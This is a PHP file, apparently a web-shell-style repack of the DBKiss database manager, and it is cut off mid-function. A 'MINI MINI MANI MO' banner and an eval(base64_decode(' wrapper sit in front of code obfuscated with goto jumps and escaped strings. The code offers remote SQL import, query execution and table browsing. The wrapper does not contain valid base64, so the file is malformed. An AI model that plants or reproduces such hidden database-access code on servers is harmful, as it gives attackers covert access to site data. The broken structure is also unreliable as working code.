MINI MINI MANI MO
<?php eval(base64_decode('
 goto rhLuW; h0jhG: if (!ini_get("\x64\141\x74\145\56\x74\151\155\145\172\157\156\145")) { ini_set("\144\141\x74\145\56\164\x69\155\145\x7a\157\156\145", "\105\165\162\157\160\x65\57\127\x61\162\163\141\x77"); } goto umkik; zcCvW: function db_cleanup() { db_close(); } goto f37Rw; eKJFy: define("\123\121\x4c\137\120\x4f\x50\125\120\x5f\x57\111\104\x54\110", 800); goto Cz6Mi; RKJuF: ?>
</b>- Views: <b><?php  goto Nkyh1; ipkgZ: if ($_GET["\144\142\153\x69\163\163\x5f\146\141\166\x69\x63\x6f\x6e"]) { if (defined("\123\121\114\x49\124\105\137\106\x49\114\105")) { $favicon = "\101\x41\101\x42\x41\x41\x45\x41\x45\x42\101\101\x41\101\105\x41\111\x41\x42\157\102\x41\x41\101\106\147\101\x41\x41\x43\x67\101\101\101\101\121\x41\101\x41\101\111\101\x41\x41\101\x41\x45\101\x49\x41\x41\x41\x41\101\101\101\101\x41\101\101\x41\x41\x41\x41\x41\x41\101\101\x41\x41\101\101\101\x41\101\x41\101\x41\x41\x41\101\x41\101\x7a\101\115\x7a\164\x4d\x77\x44\115\x37\x54\x4d\x41\172\117\x30\x7a\101\x4d\x7a\164\x4d\167\104\115\x37\x54\x49\101\171\145\70\x32\x42\x73\x54\63\x4e\147\152\x43\x2b\152\157\113\x76\x2f\x34\x37\103\x37\57\x2f\117\167\165\57\x2f\172\157\113\x76\x2f\64\62\103\x4d\114\66\152\x4a\x6b\x41\152\x34\171\x5a\x41\x43\101\x41\101\101\101\x41\x4d\167\104\x4d\x37\x54\115\101\x7a\117\60\172\101\x4d\172\164\115\x77\x44\x4d\x37\124\131\x47\170\57\x55\x37\103\67\57\x2f\120\170\104\103\x2f\x36\x43\110\x33\166\x2f\57\x2f\x2f\x2f\57\121\x78\110\x43\x2f\60\121\x53\x78\x50\x39\x43\105\163\x66\x2f\x51\x52\114\105\x2f\x39\x6e\x51\115\120\53\x62\x70\x67\x58\x2f\152\112\x6b\101\143\x44\x4d\x41\172\x4f\63\57\x2f\x2f\57\x2f\57\57\x2f\57\57\65\53\110\x36\120\x59\67\x43\67\57\57\x6f\111\x6a\x6a\x2f\57\x2f\x2f\57\x2f\57\x2f\x2f\x2f\57\x2f\121\170\107\57\x2f\x2f\57\x2f\x2f\57\x2f\x2f\x2f\57\57\x2f\57\x2f\57\x2f\x2f\x30\111\123\x78\x2f\57\57\x37\125\162\57\x2b\x75\163\142\57\64\171\x5a\101\120\x38\x7a\x41\x4d\172\x74\115\x77\x44\x4d\67\124\x4d\101\172\117\x33\57\x2f\57\57\57\x4f\167\x75\x2f\x2f\x2f\x2f\57\x2f\x2f\71\104\x45\143\114\x2f\x2f\x2f\57\x2f\x2f\60\115\x52\x76\x2f\x2f\x2f\x2f\57\x2f\x2f\122\x42\114\105\57\60\111\123\x78\57\71\103\105\x73\x66\57\x2f\53\61\113\x2f\57\x2f\167\x48\120\53\x4d\155\x51\x44\57\x4d\x77\x44\x4d\67\x54\x4d\101\x7a\117\63\57\x2f\x2f\57\57\x4d\x77\x44\x4d\67\x54\163\114\x76\57\57\57\57\57\x2f\57\121\x78\x48\103\57\57\57\57\x2f\57\71\106\105\x62\x2f\x2f\57\57\57\57\57\x30\125\x52\x76\x2f\x39\106\x45\x62\57\57\x52\x52\107\57\57\57\57\x59\x4b\146\57\57\x37\102\146\x2f\152\112\153\x41\x2f\172\x4d\101\x7a\x4f\x33\57\x2f\57\x2f\x2f\x4d\x77\104\x4d\x37\124\x4d\x41\x7a\x4f\60\67\103\67\x2f\x2f\x2f\57\x2f\57\x2f\60\x41\x4e\x76\x2f\x2f\57\57\57\x2f\x2f\x4f\x77\x75\x2f\57\x2f\x2f\57\x2f\x2f\70\x37\x43\67\57\57\x4f\x77\x75\57\57\172\x30\116\166\57\57\110\163\167\x44\x2f\70\x72\64\x43\x2f\x36\x4f\155\x41\120\70\x7a\101\115\x7a\x74\x6e\x34\146\157\71\x76\x2f\57\x2f\57\57\57\x2f\x2f\57\57\117\x77\165\57\57\x35\x75\x46\63\x76\x2f\x2f\57\57\x2f\57\157\111\x66\145\57\60\115\122\166\57\57\57\57\57\57\x2f\x52\102\114\x45\x2f\x30\111\123\x78\57\71\x41\105\x4d\x54\x2f\171\143\143\x77\x2f\x35\141\150\x42\146\x2b\x72\161\x41\104\57\x4d\x77\x44\x4d\67\124\115\x41\x7a\117\60\172\101\115\172\164\x4d\167\x44\115\67\x54\x73\x4c\166\x2f\71\103\x45\x73\146\x2f\121\170\x48\103\57\x30\115\122\166\57\71\x44\105\142\x2f\57\121\x78\110\x43\x2f\60\121\123\x78\120\71\103\x45\x73\146\x2f\121\150\114\110\57\53\x62\x59\x53\x66\57\122\x7a\150\166\x2f\152\x4a\153\x41\57\x77\x41\x41\x41\101\x41\x41\x41\x41\101\101\x41\x41\101\101\101\x41\x41\101\x41\101\103\x4d\155\121\x44\x2f\57\x2b\x65\106\x2f\57\x2f\x74\124\x50\57\57\x37\x78\x54\x2f\57\53\x38\125\x2f\x2f\57\162\x4f\x2f\57\57\66\155\120\57\x2f\x2b\x69\x4d\x2f\x2f\x58\147\145\x50\57\155\x32\105\156\57\61\164\115\x65\57\x34\171\x5a\101\120\70\101\101\x41\101\x41\101\x41\101\x41\x41\x41\x41\x41\101\101\101\x41\101\101\101\x41\x6a\x4a\x6b\101\57\x2f\57\156\x68\146\x2f\57\x37\125\x7a\57\57\x2b\x38\x55\57\x2f\x2f\x76\106\120\57\57\x36\x7a\x76\57\57\53\x70\x6a\x2f\x2f\57\157\152\120\57\x31\64\x48\152\57\x35\164\150\x4a\57\x39\142\x54\x48\x76\x2b\x4d\155\121\x44\57\101\x41\101\101\x41\101\x41\x41\101\101\x41\x41\101\x41\101\101\101\x41\101\101\x41\111\x79\132\x41\x50\57\x36\x35\x48\130\57\62\x39\x55\146\x2f\x37\57\103\102\x50\x2b\154\162\x51\x44\57\155\113\115\x41\57\64\x79\x5a\x41\120\x2b\115\x6d\x51\104\57\x6d\x61\115\x50\57\x37\113\61\x47\146\57\120\172\x42\x6e\x2f\152\112\x6b\x41\57\167\x41\x41\101\x41\x41\x41\101\101\x41\101\101\101\101\101\x41\x41\101\x41\101\101\103\x4d\155\121\104\x2f\x31\164\131\x70\57\53\166\x70\155\120\57\x33\70\x4c\x37\x2f\x2f\57\x44\x43\57\57\x2f\160\161\x50\57\x2f\65\160\x6e\x2f\x2f\53\x61\x5a\x2f\57\114\x63\x68\146\x2f\132\x7a\x56\x2f\57\x6f\141\147\x55\x2f\64\171\132\101\x50\70\x41\101\101\101\x41\101\x41\101\101\x41\101\x41\101\101\101\x41\101\101\101\x41\101\x6a\x4a\x6b\101\57\57\172\70\70\120\x2f\x2f\57\120\114\57\57\x2f\x58\x5a\x2f\57\x2f\x77\167\x76\57\57\66\141\152\x2f\x2f\x2b\x61\132\x2f\x2f\x2f\155\x6d\146\57\x2f\65\160\x6e\x2f\x2f\x2b\x61\x5a\x2f\x2f\x72\x6a\152\x76\x2b\115\x6d\x51\x44\57\x41\x41\101\x41\x41\x41\x41\101\x41\101\101\101\x41\x41\x41\101\x41\x41\101\101\101\x49\171\132\x41\117\x2f\x34\53\166\x44\x2f\x2f\x2f\172\171\x2f\x2f\x2f\61\x32\146\x2f\x2f\x38\115\x4c\57\x2f\53\155\157\x2f\57\x2f\155\155\146\x2f\57\65\160\156\57\57\53\x61\132\57\57\x2f\x6d\155\146\x2f\x36\x34\64\x37\57\x6a\112\x6b\x41\x2f\167\x41\x41\x41\x41\101\x41\x41\x41\x41\101\101\x41\101\x41\x41\x41\x41\x41\x41\101\x43\115\155\x51\102\x67\x6f\161\163\x6e\x2f\x39\146\x5a\155\x50\x2f\66\70\143\x44\57\57\x2f\104\103\57\x2f\x2f\160\161\120\57\x2f\65\x70\156\57\57\53\x61\x5a\x2f\57\x66\x67\x6a\146\x2f\132\x7a\126\57\57\157\66\163\127\57\64\171\x5a\x41\107\101\x41\x41\x41\x41\101\x41\x41\x41\101\101\101\101\101\101\x41\101\101\x41\x41\x41\101\x41\101\101\101\x41\111\171\x5a\101\x43\103\115\x6d\121\x43\120\152\112\153\x41\x76\64\171\x5a\101\120\53\x4d\155\x51\x44\x2f\x6a\112\x6b\101\57\x34\x79\x5a\101\120\53\115\155\x51\103\x2f\152\x4a\153\x41\x6a\64\x79\132\x41\103\101\x41\x41\x41\101\x41\x41\101\107\x73\121\x51\101\x41\x72\105\105\101\101\113\170\x42\x41\101\103\x73\x51\x51\x41\x41\x72\x45\x45\101\x41\113\x78\102\101\x41\103\163\x51\x51\101\x41\x72\x45\x48\x77\101\x4b\x78\x42\x38\101\x43\163\x51\146\x41\101\162\x45\110\x77\x41\113\170\102\70\x41\103\163\x51\x66\x41\101\162\x45\110\x77\101\x4b\170\102\53\101\107\163\121\121\75\75"; } else { $favicon = "\101\x41\x41\102\x41\101\x49\x41\105\x42\x41\101\x41\x41\x45\x41\103\101\102\157\x42\121\101\x41\112\x67\x41\101\101\102\x41\x51\x41\101\x41\x42\101\x43\x41\101\141\x41\121\101\x41\x49\x34\x46\x41\101\101\157\x41\101\x41\x41\x45\x41\x41\101\101\103\x41\101\101\101\101\x42\101\x41\x67\x41\101\x41\101\101\101\x41\x41\x41\x41\101\x41\x41\x41\101\x41\x41\101\x41\x41\101\101\101\101\101\101\101\101\101\x41\x41\x41\x41\101\101\x41\101\101\120\57\57\57\x77\104\121\x63\x52\111\x41\101\x47\x61\x5a\101\114\x35\x6d\x43\x77\x43\x5a\x2f\x2f\70\x41\x76\x32\x34\123\x41\115\126\x77\x45\x67\103\x61\57\x2f\x38\x41\x76\x6d\143\x4c\101\113\x6e\57\x2f\167\101\x56\x30\x2f\70\101\167\146\x2f\x2f\x41\x45\162\114\x35\121\x44\x47\143\102\111\101\x76\156\x45\x53\101\110\x43\x70\x78\147\x44\146\x37\120\111\x41\63\67\141\111\x41\x4d\x4e\160\104\x51\x44\x48\143\122\111\101\132\117\x37\x2f\101\x45\162\x6c\57\167\x41\x64\x72\116\x59\x41\131\115\142\x5a\101\111\x2f\x31\53\121\x44\x6f\165\x59\x6b\x41\117\53\104\x2f\101\111\124\64\x2f\x77\104\110\x63\102\x49\101\152\x50\162\x2f\101\x4d\112\x76\105\147\104\x61\57\57\x38\x41\x51\x49\171\x7a\x41\x4d\x4e\x76\x45\147\x43\146\x78\x64\153\x41\70\166\x2f\x2f\101\105\172\x6c\57\167\102\x34\x36\146\x51\x41\x4d\114\x62\132\x41\x43\x6d\163\61\147\101\x41\145\x61\x59\x41\x47\157\165\x31\101\112\x66\130\x36\x67\x41\131\x6f\70\x34\x41\110\x72\x4c\142\x41\x4e\53\172\x68\x67\x43\130\x78\x74\153\x41\x76\57\x50\65\x41\x49\x33\x30\53\x41\x44\166\x39\x66\x6b\101\106\110\x32\160\x41\102\152\x61\57\x77\x44\x47\141\x77\64\x41\x77\x58\101\123\101\101\x56\x77\x6f\x51\x44\152\165\111\153\101\x7a\130\101\x52\101\x44\x43\155\x79\121\101\101\x65\x36\64\101\144\x65\x33\65\101\115\x42\170\x45\x67\x43\53\141\x51\x30\x41\x41\113\156\x47\x41\x43\156\167\x2f\167\101\156\x67\x71\167\x41\x78\127\x38\122\101\x42\x42\x77\156\x77\x41\x41\x67\x36\167\x41\x78\x57\x34\121\101\114\x37\x77\x39\167\x43\x47\67\x50\x49\x41\110\x4b\x6e\123\x41\115\x46\163\104\x77\x43\57\x5a\167\167\x41\x44\156\127\x6b\101\x41\x53\x51\x77\x67\101\144\x31\x76\x38\x41\152\67\172\x53\101\115\x5a\x76\105\121\x44\x76\53\x66\167\101\x42\x58\x53\x6d\101\x42\132\53\161\x67\101\x43\66\x66\x49\x41\101\107\x2b\x69\x41\x4d\x68\x73\104\167\101\143\x7a\57\x6b\x41\166\x6d\163\x4f\101\101\x41\101\101\101\101\x41\x41\x41\x41\101\101\x41\101\101\x41\x41\101\x41\101\101\x41\101\101\x41\x41\101\101\101\101\x41\x41\101\x41\x41\x41\x41\101\101\x41\101\x41\101\x41\x41\101\101\101\x41\x41\x41\101\101\x41\x41\101\x41\x41\101\101\x41\101\x41\x41\x41\x41\x41\x41\x41\x41\101\x41\x41\101\x41\101\x41\101\101\x41\101\101\101\101\x41\x41\x41\x41\101\101\x41\101\x41\x41\101\101\101\x41\101\x41\101\101\x41\101\101\101\x41\101\101\x41\101\101\x41\x41\101\101\x41\x41\101\x41\x41\101\101\101\101\101\x41\101\x41\x41\101\x41\101\101\101\x41\x41\101\x41\101\101\101\x41\x41\x41\101\x41\x41\x41\x41\101\101\x41\x41\101\x41\x41\x41\101\101\x41\101\x41\x41\x41\101\x41\x41\101\x41\101\101\x41\101\x41\101\x41\101\101\101\x41\x41\101\x41\x41\101\101\x41\101\x41\x41\101\101\x41\101\101\101\x41\x41\x41\x41\x41\101\x41\x41\x41\x41\x41\101\x41\101\101\101\x41\x41\101\x41\101\x41\x41\x41\101\101\101\101\x41\x41\101\101\101\x41\101\101\x41\x41\x41\x41\x41\101\101\x41\101\x41\x41\101\101\x41\x41\x41\x41\x41\101\x41\x41\x41\x41\101\x41\x41\101\x41\x41\101\x41\x41\101\101\x41\101\x41\x41\x41\101\101\101\101\101\101\x41\x41\x41\101\101\x41\x41\101\101\x41\101\x41\x41\x41\x41\x41\x41\x41\x41\x41\101\x41\x41\101\x41\x41\x41\101\101\101\101\x41\101\101\x41\x41\101\101\101\x41\x41\x41\x41\x41\101\x41\101\101\101\101\x41\101\101\x41\101\101\x41\101\x41\x41\101\x41\101\x41\101\101\101\x41\101\x41\101\x41\x41\101\101\x41\x41\101\101\x41\x41\101\101\x41\101\101\x41\101\x41\x41\x41\101\x41\101\101\x41\101\x41\101\101\x41\101\x41\101\x41\x41\101\101\101\101\101\x41\101\x41\101\x41\x41\x41\x41\x41\101\101\101\x41\x41\x41\101\101\x41\101\101\x41\x41\101\x41\x41\101\101\101\101\101\x41\x41\101\x41\101\x41\x41\101\x41\x41\101\101\x41\x41\101\101\x41\101\101\101\x41\101\x41\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\x41\101\101\x41\x41\101\x41\101\x41\x41\101\101\101\101\101\x41\101\x41\101\101\101\x41\101\101\101\101\x41\x41\101\101\101\101\x41\101\101\x41\x41\101\x41\101\101\x41\x41\101\x41\x41\x41\101\101\101\x41\101\x41\101\x41\101\x41\x41\x41\101\x41\x41\101\x41\x41\101\101\x41\101\x41\x41\x41\x41\101\x41\x41\101\x41\101\x41\x41\101\x41\101\x41\x41\101\x41\101\101\101\101\x41\x41\101\101\101\101\101\x41\101\101\x41\101\x41\101\101\101\x41\101\101\x41\x41\101\101\101\101\101\101\101\x41\101\x41\101\x41\x41\101\101\101\101\x41\x41\101\x41\101\x41\101\x41\101\101\x41\101\x41\101\101\101\101\101\101\x41\101\101\101\101\101\x41\101\x41\101\101\101\101\101\x41\101\101\x41\101\101\101\x41\x41\x41\x41\101\x41\x41\101\101\x41\101\101\101\x41\x41\101\x41\101\x41\x41\101\101\101\101\x41\101\101\101\101\101\101\x41\x41\x41\x41\x41\101\x41\101\101\x41\101\x41\x41\101\x41\x41\x41\101\101\101\101\x41\x41\x41\101\101\x41\x41\101\101\x41\101\x41\101\x41\x41\101\101\101\101\101\101\101\x41\101\x41\101\x41\x41\101\x41\101\x41\x41\x41\101\x41\x41\101\x41\101\x41\101\x41\101\x41\101\x41\x41\101\x41\x41\101\101\x41\x41\x41\101\x41\x41\101\101\x41\101\101\101\x41\x41\101\101\x41\101\101\x41\x41\x41\101\101\101\101\101\101\101\x41\x41\101\x41\x41\x41\101\101\101\101\101\101\101\101\x41\x41\x41\101\101\101\x41\101\x41\x41\x41\x41\101\101\101\101\x41\x41\x41\101\x41\101\x41\x41\101\x41\x41\x41\101\x41\101\x41\101\101\101\101\x41\101\101\101\101\x41\101\x41\101\x41\101\101\x41\x41\101\x41\x41\x41\101\x41\101\x41\x41\x41\x41\101\101\101\x41\x41\101\x41\x41\x41\101\x41\101\x41\x41\x41\101\x41\101\x41\101\101\101\x41\x41\x41\x41\x41\x41\x41\101\x41\x41\x41\101\x41\x41\101\101\101\x41\x41\x41\101\101\x41\x41\101\101\101\101\x41\x41\x41\x41\x41\x41\x41\101\101\x41\x41\101\101\101\x41\111\103\101\147\x49\x43\x4f\x54\125\124\x43\x51\x51\x45\103\x52\x4d\121\105\x51\101\103\x41\x67\x49\103\126\125\160\112\105\147\105\146\102\170\122\103\112\61\106\x4f\x41\x67\x45\x42\107\147\x51\64\101\x51\105\107\x41\x51\105\x42\x44\150\x5a\x57\x41\167\x49\103\101\147\x45\x45\x41\123\111\x42\x42\147\105\110\x46\x41\64\127\x54\121\115\103\x41\147\x45\x43\102\101\x45\x32\x41\121\70\102\x44\x77\70\71\x51\x44\x51\x44\101\147\x45\x43\x41\x67\121\102\126\x77\x45\x4a\x41\121\x51\112\120\x6a\x39\x54\113\121\111\141\101\x51\x45\x45\114\x67\x45\x53\102\x67\105\110\110\125\125\66\116\60\121\x43\101\x67\x49\103\102\x41\x34\151\102\x67\131\x66\102\x78\x31\x50\x44\125\147\x44\101\101\x41\101\x41\x41\x4d\143\x4a\121\163\114\107\170\x55\145\x4a\x67\60\130\101\167\x41\101\101\x41\101\104\110\103\125\x4c\x43\170\163\x56\110\151\131\116\106\x77\115\x41\101\101\101\101\101\172\167\x74\124\104\x74\x55\x41\x77\116\x4c\113\x69\167\x44\x41\101\x41\x41\101\101\115\157\x4b\60\131\115\103\x67\147\106\122\x78\x67\x7a\101\x77\101\101\101\x41\x41\x44\x55\103\x51\x67\x44\x41\x6f\111\102\121\125\106\x47\x51\x4d\x41\x41\101\x41\x41\x51\x7a\x49\x6b\111\x41\167\113\103\101\x55\x46\102\122\x6b\x44\x41\x41\x41\x41\x41\x43\116\102\x4c\172\101\115\103\x67\x67\x46\x4d\122\x68\x53\x49\x77\x41\x41\x41\x41\x41\x41\x45\x52\101\150\101\167\x4d\104\x41\171\x45\x51\105\121\101\101\101\121\101\101\101\101\x41\x41\x41\101\101\x41\x41\101\x41\101\x41\x41\101\101\101\101\101\101\x41\x41\101\101\x41\x41\x41\x41\101\x41\x41\x41\x41\x41\101\101\x41\x50\101\x41\101\101\x44\x77\x41\x41\101\x41\x38\x41\101\101\x41\120\x41\101\101\101\x44\x77\x41\x41\101\101\70\x41\101\101\x41\120\101\101\x41\101\x44\64\x41\121\101\x41\113\x41\x41\101\x41\102\101\x41\101\x41\x41\x67\101\x41\x41\101\x41\121\101\x67\101\x41\x41\101\101\x41\x41\101\x41\x41\x41\x41\x41\101\x41\101\101\x41\x41\101\101\101\101\x41\101\101\101\x41\x41\101\x41\x41\101\x4d\x78\155\x41\117\63\x4d\x5a\147\104\164\x7a\107\131\x41\x37\x63\170\155\101\117\x33\115\132\x67\x44\x74\x79\155\131\x42\x37\70\x52\155\102\x76\146\x43\132\x67\152\66\x76\155\x59\113\57\x72\65\x6d\x43\x2f\x2b\x2b\x5a\x67\166\57\x76\x6d\x59\x4b\x2f\163\112\x6d\x43\x50\x6f\x41\132\x70\x6d\x50\101\x47\x61\132\x49\101\101\x41\x41\101\x44\115\x5a\147\x44\164\172\x47\x59\x41\x37\x63\x78\155\x41\117\63\x4d\x5a\x67\104\164\170\x6d\x59\x46\x39\142\x39\156\x44\x50\x2f\x42\x62\101\57\x2f\x33\67\x61\x49\57\57\x2f\x2f\57\x2f\57\103\x62\x78\x4c\x2f\x78\x58\101\123\x2f\70\x64\170\105\x76\x2f\x46\x62\x78\110\x2f\115\114\x62\x5a\57\167\126\x30\x70\x76\x38\101\132\160\x6c\167\172\x47\131\101\67\x66\x2f\x2f\x2f\57\57\57\57\57\x2f\57\65\67\x61\x46\x39\x72\65\x6d\x43\x2f\57\152\165\111\x6e\57\x2f\57\x2f\57\57\57\57\x2f\x2f\57\x2b\x2f\x62\x68\114\x2f\x2f\x2f\57\57\x2f\57\57\x2f\57\x2f\57\57\x2f\57\57\x2f\x78\156\x41\x53\x2f\60\162\154\57\57\x38\143\172\57\156\x2f\x41\107\x61\132\x2f\x38\170\155\101\117\x33\115\132\147\104\x74\172\107\x59\x41\67\x66\x2f\57\x2f\x2f\x2b\x2b\x5a\x67\x76\57\x2f\x2f\57\57\x2f\x38\116\166\105\166\57\x2f\57\x2f\x2f\57\x76\x32\64\x53\57\57\57\57\x2f\x2f\57\x46\x63\102\114\x2f\x78\x33\x45\123\x2f\x38\132\x77\x45\x76\71\113\x35\146\x2f\x2f\110\x64\142\x2f\57\x77\102\155\155\x66\x2f\x4d\132\147\x44\x74\172\107\x59\101\67\x66\x2f\x2f\x2f\x2f\x2f\115\132\147\x44\x74\x76\155\x59\x4c\57\x2f\57\57\x2f\x2f\x2f\x42\143\x42\114\x2f\x2f\57\57\57\57\67\65\x78\105\x76\57\57\57\57\57\57\166\x6e\105\x53\57\x37\x35\170\x45\x76\x2f\x41\143\122\114\x2f\x4b\146\x44\57\x2f\x78\152\141\57\x2f\70\101\132\160\x6e\57\172\107\x59\x41\x37\146\x2f\57\x2f\57\57\115\x5a\x67\x44\x74\x7a\107\131\x41\67\x62\65\x6d\103\x2f\x2f\x2f\57\57\57\57\166\x6d\x73\117\57\57\57\57\57\x2f\x2b\x2b\x5a\x77\166\57\x2f\57\57\57\x2f\x37\65\155\x43\x2f\53\53\x5a\x77\166\57\166\155\x6b\116\x2f\x77\x43\x70\170\x76\70\x43\x36\x66\114\x2f\101\x48\x6d\155\57\x38\170\x6d\x41\x4f\x33\x6e\x74\x6f\130\62\x2f\x2f\x2f\57\57\x2f\x2f\57\x2f\57\x2b\53\x5a\147\x76\57\x33\67\x4f\x47\57\57\x2f\x2f\x2f\57\x2f\x66\x74\x6f\152\57\x76\62\64\123\x2f\57\x2f\x2f\57\x2f\x2f\106\x63\x42\114\x2f\x78\x33\101\123\57\70\x56\165\x45\120\x38\x77\160\x73\x6e\57\x42\130\103\150\57\167\x43\104\x72\x50\x2f\115\132\x67\x44\164\172\x47\131\x41\x37\x63\x78\155\x41\x4f\x33\x4d\x5a\x67\104\164\166\155\x59\x4c\x2f\x38\132\167\x45\x76\57\104\x62\170\x4c\57\166\x32\x34\123\57\67\x39\x75\105\x76\x2f\x43\x62\170\114\57\x78\130\x41\123\57\70\x64\x77\105\166\57\x47\142\x78\110\57\x53\x73\166\154\57\170\171\x70\x30\x76\x38\101\x5a\x70\x6e\57\x41\x41\101\101\101\101\101\x41\101\x41\101\x41\101\101\101\x41\101\x41\101\x41\x41\101\102\x6d\155\x66\53\105\53\120\57\x2f\x54\117\x58\57\x2f\x78\x58\124\57\x2f\70\x56\x30\57\x2f\57\x4f\53\104\57\x2f\62\x54\x75\x2f\x2f\53\115\53\x76\57\57\145\117\x6e\x30\57\x30\162\114\65\x66\70\144\162\x4e\x62\x2f\101\107\x61\132\x2f\x77\101\101\101\101\x41\x41\101\101\x41\x41\x41\x41\101\101\x41\x41\101\x41\x41\101\x41\x41\132\x70\x6e\x2f\x68\x50\x6a\57\57\x30\172\154\57\57\70\126\x30\57\57\x2f\x46\144\x50\57\x2f\x7a\x76\x67\x2f\x2f\71\x6b\67\x76\x2f\x2f\152\x50\x72\x2f\57\x33\x6a\160\x39\x50\x39\113\171\x2b\130\57\110\x61\172\x57\x2f\167\102\x6d\x6d\146\70\101\x41\x41\101\x41\101\x41\101\101\101\101\x41\101\101\x41\101\101\101\x41\101\x41\x41\107\141\132\x2f\x33\130\164\53\146\70\145\163\164\x76\x2f\102\112\104\x43\x2f\x77\102\67\x72\x76\x38\101\142\x36\114\x2f\101\x47\x61\x5a\57\167\102\x6d\155\146\70\x4f\x64\x61\x54\57\107\x6f\165\x31\57\x78\151\x6a\172\166\70\x41\132\x70\156\x2f\x41\101\x41\101\101\x41\101\101\x41\101\101\101\101\101\x41\x41\x41\x41\x41\101\x41\101\102\155\155\x66\70\160\162\x4e\x62\57\x6c\x39\x66\161\57\67\67\x77\x39\x2f\x2f\102\x2f\57\x2f\x2f\x71\x66\x2f\x2f\x2f\x35\x72\57\x2f\x2f\x2b\x5a\x2f\x2f\x2f\57\x68\165\172\x79\57\62\x44\x47\x32\146\70\x55\146\141\x6e\57\101\x47\141\132\57\x77\101\101\101\101\101\x41\101\101\101\101\x41\101\101\x41\x41\101\x41\101\101\101\x41\x41\x5a\160\x6e\x2f\67\57\x6e\x38\x2f\x2f\x4c\57\x2f\x2f\57\141\57\57\x2f\57\x77\x66\x2f\x2f\x2f\66\156\57\x2f\57\x2b\141\x2f\57\57\57\x6d\x66\57\x2f\57\x35\156\x2f\57\x2f\x2b\132\x2f\x2f\x2f\57\152\57\130\x35\57\167\102\x6d\155\146\x38\x41\101\x41\101\x41\x41\101\x41\101\101\101\101\x41\101\x41\101\x41\x41\101\101\x41\101\x47\x61\x5a\x37\53\57\61\x2b\146\57\x79\x2f\x2f\57\57\x32\166\57\57\x2f\70\x48\x2f\57\57\53\160\x2f\x2f\x2f\x2f\x6d\x76\x2f\57\x2f\x35\x6e\57\57\x2f\53\x5a\57\57\x2f\x2f\155\x66\57\57\57\64\x2f\x31\53\146\70\x41\132\x70\x6e\57\101\101\101\x41\x41\101\x41\x41\101\101\x41\101\101\x41\101\101\x41\101\101\x41\x41\101\x42\155\x6d\127\101\156\147\x71\172\x2f\154\x38\x62\x5a\x2f\67\57\172\53\146\x2f\x42\57\57\57\x2f\161\146\57\57\57\65\x72\57\57\57\x2b\132\57\57\57\57\x6a\x66\x54\64\x2f\x32\104\x47\x32\146\x38\127\x66\x71\x72\57\101\x47\x61\x5a\131\x41\x41\101\x41\101\x41\x41\x41\x41\101\101\x41\x41\x41\101\101\101\x41\101\x41\101\x41\101\x41\101\x41\101\101\x47\x61\x5a\111\101\x42\x6d\x6d\x59\70\101\x5a\x70\x6d\57\x41\x47\x61\132\57\167\102\x6d\155\x66\x38\x41\x5a\x70\x6e\57\101\107\141\132\57\167\x42\x6d\x6d\x62\70\101\132\160\x6d\x50\101\x47\x61\132\x49\x41\x41\x41\101\x41\x41\101\x41\121\111\x43\x41\x41\101\x31\105\167\x41\x41\x42\x41\x6b\101\101\102\105\101\101\x41\x41\103\101\x67\x41\x41\123\x52\x49\x41\x41\x41\143\125\x41\101\x42\x52\124\166\101\x41\101\122\162\x77\101\x41\105\102\x38\101\101\x42\x41\x66\101\101\126\x67\120\167\x41\x41\x49\102\70\x41\101\151\101\146\x41\x41\102\x78\124\x34\x41\125\x30\x44"; } header("\x43\157\x6e\x74\x65\156\164\55\x74\171\x70\145\72\x20\x69\155\141\147\145\57\166\156\x64\56\155\151\x63\x72\157\163\x6f\146\x74\x2e\151\x63\157\x6e"); echo base64_decode($favicon); die; } goto JQDG5; tZ7Ec: function sql_files() { $files = dir_read("\56", null, array("\x2e\163\161\x6c")); $files2 = array(); foreach ($files as $file) { $files2[md5($file)] = $file . sprintf("\40\x28\x25\x73\x29", size(filesize($file))); } return $files2; } goto qpEZP; JD7Bx: if (GET("\151\155\160\157\162\164", "\142\157\x6f\154")) { ?>
<!doctypehtml><html><head><meta content="text/html; charset=<?php  echo $page_charset; ?>
"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
> Import</title><link href="<?php  echo $_SERVER["\x50\x48\x50\x5f\123\x45\x4c\106"]; ?>
?dbkiss_favicon=1"rel="shortcut icon"></head><body><?php  layout(); ?>
<h1><a href="<?php  echo $_SERVER["\x50\110\120\137\123\105\x4c\x46"]; ?>
"class="blue"style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</a>> Import</h1><?php  conn_info(); $files = sql_files(); if (count($files)) { ?>
<form action="<?php  echo $_SERVER["\120\x48\x50\137\x53\105\x4c\x46"]; ?>
"method="post"><table cellspacing="0"class="none"cellpadding="0"><tr><td>SQL file:<td><select name="sqlfile"><option value=""selected></option><?php  echo options($files); ?>
</select></td><td><input value="1"name="ignore_errors"type="checkbox"id="ignore_errors"></td><td><label for="ignore_errors">ignore errors</label></td><td><input value="1"name="transaction"type="checkbox"id="transaction"></td><td><label for="transaction">transaction</label></td><td><input value="1"name="force_myisam"type="checkbox"id="force_myisam"></td><td><label for="force_myisam">force myisam</label></td><td><input value=""name="query_start"size="5"></td><td>query start</td><td><input value="Import"type="submit"></td></tr></table></form><br><?php  } else { ?>
No sql files found in current directory.<?php  } ?>
</body></html><?php  die; } goto ZduJP; Nkyh1: echo count($views); goto fSPvc; Jilhi: function PDO_FetchOne($query, $params = null) { global $PDO; if (isset($params)) { $stmt = $PDO->prepare($query); $stmt->execute($params); } else { $stmt = $PDO->query($query); } $row = $stmt->fetch(PDO::FETCH_NUM); if ($row) { return $row[0]; } else { return false; } } goto ur7YX; bbw7i: function array_col($arr, $col) { $ret = array(); foreach ($arr as $k => $row) { $ret[] = $row[$col]; } return $ret; } goto dPuLU; VGtD0: echo $_SERVER["\x50\110\x50\x5f\123\105\114\x46"]; goto EFznG; OSCcx: if (!defined("\x43\x4f\x4f\x4b\x49\105\137\120\x52\x45\x46\x49\x58")) { define("\103\117\117\x4b\111\105\x5f\x50\x52\x45\106\111\130", "\x64\142\x6b\x69\x73\163\x5f"); } goto vn8sw; x5Koa: function guess_pk($rows) { if (!count($rows)) { return false; } $patterns = array("\43\x5e\x5c\x64\x2b\44\x23", "\43\x5e\x5b\136\134\163\x5d\x2b\x24\x23"); $row = array_first($rows); foreach ($patterns as $pattern) { foreach ($row as $col => $v) { if ($v && preg_match($pattern, $v)) { if (array_col_match_unique($rows, $col, $pattern)) { return $col; } } } } return false; } goto rDdy0; TNHR6: function IsTableAView($table) { global $db_driver, 